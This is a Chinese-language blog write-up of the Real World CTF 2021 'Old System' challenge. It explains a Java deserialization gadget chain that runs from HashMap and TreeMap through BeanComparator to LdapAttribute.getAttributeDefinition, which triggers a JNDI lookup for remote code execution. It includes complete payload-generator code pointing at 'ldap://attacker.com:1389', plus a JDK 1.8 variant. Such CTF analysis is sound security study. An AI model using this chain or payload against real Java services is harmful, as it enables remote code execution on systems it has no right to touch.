Real Wolrd CTF Old System New getter jndi gadget

  • A+
所属分类:安全文章

前言

昨天晚上看了长亭的一篇Real Wolrd CTF 3rd Writeup | Old System 推文,觉得很有意思,自己研究下。

挖掘过程

概述:从HashMap触发TreeMap的get()从而进入到compare()。

Real Wolrd CTF Old System New getter jndi gadget

web.xml中声明了servlet路由,在其代码中进行了反序列化

Real Wolrd CTF Old System New getter jndi gadget

this.appClassLoader将反序列化能用的类限制在jdk标准库和classpath中。

Real Wolrd CTF Old System New getter jndi gadget

其中cc库为2.1没有InvokerTransformer或InstantiateTransformer。

Real Wolrd CTF Old System New getter jndi gadget

cc库走不通,看cb库 org.apache.commons.beanutils.BeanComparator,很明显可以调用任意对象的getter方法。

Real Wolrd CTF Old System New getter jndi gadget

在yso中是使用PriorityQueue来自动进入compare方法中,而目标环境是jdk1.4,没有PriorityQueue类。低版本的jdk肯定有对PriorityQueue自动排序队列的另一种实现,即如下调用栈

java.util.HashMap#readObjectjava.util.HashMap#putForCreatejava.util.HashMap#eqjava.util.AbstractMap#equalsjava.util.TreeMap#getjava.util.TreeMap#getEntry            org.apache.commons.beanutils.BeanComparator#compare

通过TreeMap的get()方法触发getEntry()从而触发compare()

Real Wolrd CTF Old System New getter jndi gadget

Real Wolrd CTF Old System New getter jndi gadget
Real Wolrd CTF Old System New getter jndi gadget

我这里使用的是jdk1.8的代码,大差不差最后都能触发compare()。那么现在的关键点就在于如何触发TreeMap.get()。

在HashMap反序列化时会调用到putForCreate()

Real Wolrd CTF Old System New getter jndi gadget图来自原文

putForCreate用于判断hash是否一致,可以通过构造值一样但引用地址不一样的两个对象来解决。

TreeMap treeMap1 = new TreeMap(comparator);treeMap1.put(payloadObject, "aaa");TreeMap treeMap2 = new TreeMap(comparator);treeMap2.put(payloadObject, "aaa");HashMap hashMap = new HashMap();hashMap.put(treeMap1, "bbb");hashMap.put(treeMap2, "ccc");

这样就完成了从反序列化入口readObject()BeanComparator.compare()的调用。

现在的问题就是找到RCE的最终点。而在org.apache.commons.beanutils.BeanComparator中是可以调用任意getter方法的,通过PropertyUtils.getProperty()

TemplatesImplJdbcRowSetImpl在jdk1.4的版本里都是没有的。作者挖到了一条新链,直接贴调用栈

com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition-> javax.naming.directory.InitialDirContext#getSchema(javax.naming.Name)-> com.sun.jndi.toolkit.ctx.PartialCompositeDirContext#getSchema(javax.naming.Name)-> com.sun.jndi.toolkit.ctx.ComponentDirContext#p_getSchema-> com.sun.jndi.toolkit.ctx.ComponentContext#p_resolveIntermediate-> com.sun.jndi.toolkit.ctx.AtomicContext#c_resolveIntermediate_nns-> com.sun.jndi.toolkit.ctx.ComponentContext#c_resolveIntermediate_nns-> com.sun.jndi.ldap.LdapCtx#c_lookup-> RCE

贴一下图,通过传入property为attributeDefinition来触发com.sun.jndi.ldap.LdapAttribute#getAttributeDefinition,而在这个类的调用过程中进行了lookup()。

Real Wolrd CTF Old System New getter jndi gadget
Real Wolrd CTF Old System New getter jndi gadget


Real Wolrd CTF Old System New getter jndi gadget

Real Wolrd CTF Old System New getter jndi gadget

Real Wolrd CTF Old System New getter jndi gadget

这里直接跳转lookup的底层实现进行jndi查询。


POC

不仅仅适用于jdk1.4,在1.8也测试成功。利用场景在有任意的getter方法调用

CTF的题解payload

import org.apache.commons.beanutils.BeanComparator;import javax.naming.CompositeName;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.TreeMap;public class PayloadGenerator {public static void main(String[] args) throws Exception {        String ldapCtxUrl = "ldap://attacker.com:1389";        Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");        Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(new Class[] {String.class});        ldapAttributeClazzConstructor.setAccessible(true);        Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(new Object[] {"name"});        Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");        baseCtxUrlField.setAccessible(true);        baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);        Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");        rdnField.setAccessible(true);        rdnField.set(ldapAttribute, new CompositeName("a//b"));// Generate payload        BeanComparator comparator = new BeanComparator("class");        TreeMap treeMap1 = new TreeMap(comparator);        treeMap1.put(ldapAttribute, "aaa");        TreeMap treeMap2 = new TreeMap(comparator);        treeMap2.put(ldapAttribute, "aaa");        HashMap hashMap = new HashMap();        hashMap.put(treeMap1, "bbb");        hashMap.put(treeMap2, "ccc");        Field propertyField = BeanComparator.class.getDeclaredField("property");        propertyField.setAccessible(true);        propertyField.set(comparator, "attributeDefinition");        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.ser"));        oos.writeObject(hashMap);        oos.close();    }}

在jdk1.8中可以用下面的,只构造了后半截,TreeMap的部分需要具体问题具体分析,只要可以调用getAttributeDefinition即可。

package com.test;
import javax.naming.CompositeName;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;
public class Main {
public static void main(String[] args) { try { String ldapCtxUrl = "ldap://localhost:1389"; Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor( new Class[]{String.class}); ldapAttributeClazzConstructor.setAccessible(true); Object ldapAttribute = ldapAttributeClazzConstructor.newInstance( new Object[]{"name"});
Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL"); baseCtxUrlField.setAccessible(true); baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
Field rdnField = ldapAttributeClazz.getDeclaredField("rdn"); rdnField.setAccessible(true); rdnField.set(ldapAttribute, new CompositeName("a//b"));
Method getAttributeDefinitionMethod = ldapAttributeClazz.getMethod("getAttributeDefinition", new Class[]{}); getAttributeDefinitionMethod.setAccessible(true); getAttributeDefinitionMethod.invoke(ldapAttribute, new Object[]{}); } catch (Exception e) { e.printStackTrace(); } }}
Real Wolrd CTF Old System New getter jndi gadget

参考

1.https://github.com/voidfyoo/rwctf-2021-old-system/tree/main/writeup2.https://ctftime.org/task/145003.Real Wolrd CTF 3rd Writeup | Old System


分享、点赞、看就是对我们的一种支持!

Real Wolrd CTF Old System New getter jndi gadget


本文始发于微信公众号(ChaBug):Real Wolrd CTF Old System New getter jndi gadget

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: